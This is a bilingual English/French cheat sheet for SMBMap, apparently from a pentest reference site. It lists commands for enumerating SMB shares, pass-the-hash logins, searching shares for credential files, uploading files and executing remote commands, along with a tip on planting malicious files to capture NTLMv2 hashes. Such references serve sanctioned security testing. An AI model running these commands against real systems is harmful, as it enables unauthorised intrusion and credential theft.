SMBMap

Énumérateur de partages SMB. Liste les partages, permissions, et fichiers accessibles en lecture/écriture sur plusieurs hôtes. Supporte l'exécution de commandes et l'upload/download de fichiers. SMB share enumerator. Lists shares, permissions, and readable/writable files across hosts. Supports command execution and file upload/download.

↗ https://github.com/ShawnDEvans/smbmap

Overview

SMBMap allows you to enumerate SMB shares across a domain, checking which shares are accessible and with what permissions. It can search file contents, download/upload files, and execute commands on accessible shares.

Basic Enumeration

Null session (unauthenticated)

smbmap -H 10.10.10.1

With credentials

smbmap -H 10.10.10.1 -u 'user' -p 'password'

Domain user

smbmap -H 10.10.10.1 -d domain.local -u 'user' -p 'password'

Pass-the-hash

smbmap -H 10.10.10.1 -u 'administrator' -p 'aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'

Enumerate all hosts in a subnet

smbmap -H 10.10.10.0/24 -u 'user' -p 'password'

From file of targets

smbmap -H targets.txt -u 'user' -p 'password'

Listing Content

List contents of a specific share

smbmap -H 10.10.10.1 -u user -p pass -r 'SHARENAME'

List recursively (depth N)

smbmap -H 10.10.10.1 -u user -p pass -R 'SHARENAME'

List with depth limit

smbmap -H 10.10.10.1 -u user -p pass -R 'SHARENAME' --depth 3

Searching Files

Search for files matching a pattern

smbmap -H 10.10.10.1 -u user -p pass -r 'SHARENAME' -A '*.txt'

Search for sensitive files

smbmap -H 10.10.10.1 -u user -p pass -R -A '(passw|cred|secret|config).*\.(txt|xml|ini|conf)'

Case-insensitive file pattern

smbmap -H 10.10.10.1 -u user -p pass -R -A 'web.config'

File Operations

Download a file

smbmap -H 10.10.10.1 -u user -p pass --download 'SHARE\path\to\file.txt'

Upload a file

smbmap -H 10.10.10.1 -u user -p pass --upload '/local/file.txt' 'SHARE\remote\path\file.txt'

Command Execution

# Execute a command (requires writable share and specific conditions)
smbmap -H 10.10.10.1 -u administrator -p pass -x 'net user'
smbmap -H 10.10.10.1 -u administrator -p pass -x 'ipconfig'

Tips

  • READ ONLY vs READ, WRITE — writable shares may allow planting files (e.g., SCF, URL, LNK) for hash capture
  • Combine with Responder: drop a malicious file in a writable share to capture NTLMv2 hashes
  • Use -A '.*' with -R to recursively find all readable files
  • smbmap output marks [+] for accessible and distinguishes READ/WRITE permissions
Help / Man page
smbmap [options]

-H host           Target host or CIDR
-u user           Username (default: '')
-p pass           Password or hash (LM:NT format)
-d domain         Domain name
-P port           SMB port (default: 445)
-s share          Specify share (default: C$)
-r path           Recursively list directory
-R path           Recursively list with file info
-A pattern        Search files matching pattern (regex)
--depth N         Recursion depth
--download path   Download file from share
--upload src dst  Upload local file to share
--delete path     Delete a file
-x command        Execute a command
-q                Quiet (no banner)
--no-write-check  Skip write access check

Vue d’ensemble

SMBMap permet d’énumérer les partages SMB à travers un domaine, en vérifiant quels partages sont accessibles et avec quelles permissions. Il peut rechercher dans le contenu des fichiers, télécharger/uploader des fichiers, et exécuter des commandes sur les partages accessibles.

Énumération de base

# Session null (non authentifiée)
smbmap -H 10.10.10.1

# Avec identifiants
smbmap -H 10.10.10.1 -u 'user' -p 'password'

# Utilisateur de domaine
smbmap -H 10.10.10.1 -d domain.local -u 'user' -p 'password'

# Pass-the-hash
smbmap -H 10.10.10.1 -u 'administrator' -p 'aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'

# Énumérer tous les hôtes d'un sous-réseau
smbmap -H 10.10.10.0/24 -u 'user' -p 'password'

# Depuis un fichier de cibles
smbmap -H targets.txt -u 'user' -p 'password'

Lister le contenu

# Lister le contenu d'un partage spécifique
smbmap -H 10.10.10.1 -u user -p pass -r 'SHARENAME'

# Lister récursivement (profondeur N)
smbmap -H 10.10.10.1 -u user -p pass -R 'SHARENAME'

# Lister avec une limite de profondeur
smbmap -H 10.10.10.1 -u user -p pass -R 'SHARENAME' --depth 3

Recherche de fichiers

# Rechercher des fichiers correspondant à un motif
smbmap -H 10.10.10.1 -u user -p pass -r 'SHARENAME' -A '*.txt'

# Rechercher des fichiers sensibles
smbmap -H 10.10.10.1 -u user -p pass -R -A '(passw|cred|secret|config).*\.(txt|xml|ini|conf)'

# Motif de fichier insensible à la casse
smbmap -H 10.10.10.1 -u user -p pass -R -A 'web.config'

Opérations sur les fichiers

# Télécharger un fichier
smbmap -H 10.10.10.1 -u user -p pass --download 'SHARE\path\to\file.txt'

# Uploader un fichier
smbmap -H 10.10.10.1 -u user -p pass --upload '/local/file.txt' 'SHARE\remote\path\file.txt'

Exécution de commandes

# Exécuter une commande (nécessite un partage accessible en écriture et des conditions spécifiques)
smbmap -H 10.10.10.1 -u administrator -p pass -x 'net user'
smbmap -H 10.10.10.1 -u administrator -p pass -x 'ipconfig'

Conseils

  • READ ONLY vs READ, WRITE : les partages accessibles en écriture peuvent permettre de déposer des fichiers (SCF, URL, LNK) pour capturer des hashs
  • Combiner avec Responder : déposer un fichier malveillant dans un partage accessible en écriture pour capturer des hashs NTLMv2
  • Utiliser -A '.*' avec -R pour trouver récursivement tous les fichiers lisibles
  • La sortie de smbmap marque [+] pour les partages accessibles et distingue les permissions READ/WRITE
Aide / Page de manuel
smbmap [options]

-H host           Target host or CIDR
-u user           Username (default: '')
-p pass           Password or hash (LM:NT format)
-d domain         Domain name
-P port           SMB port (default: 445)
-s share          Specify share (default: C$)
-r path           Recursively list directory
-R path           Recursively list with file info
-A pattern        Search files matching pattern (regex)
--depth N         Recursion depth
--download path   Download file from share
--upload src dst  Upload local file to share
--delete path     Delete a file
-x command        Execute a command
-q                Quiet (no banner)
--no-write-check  Skip write access check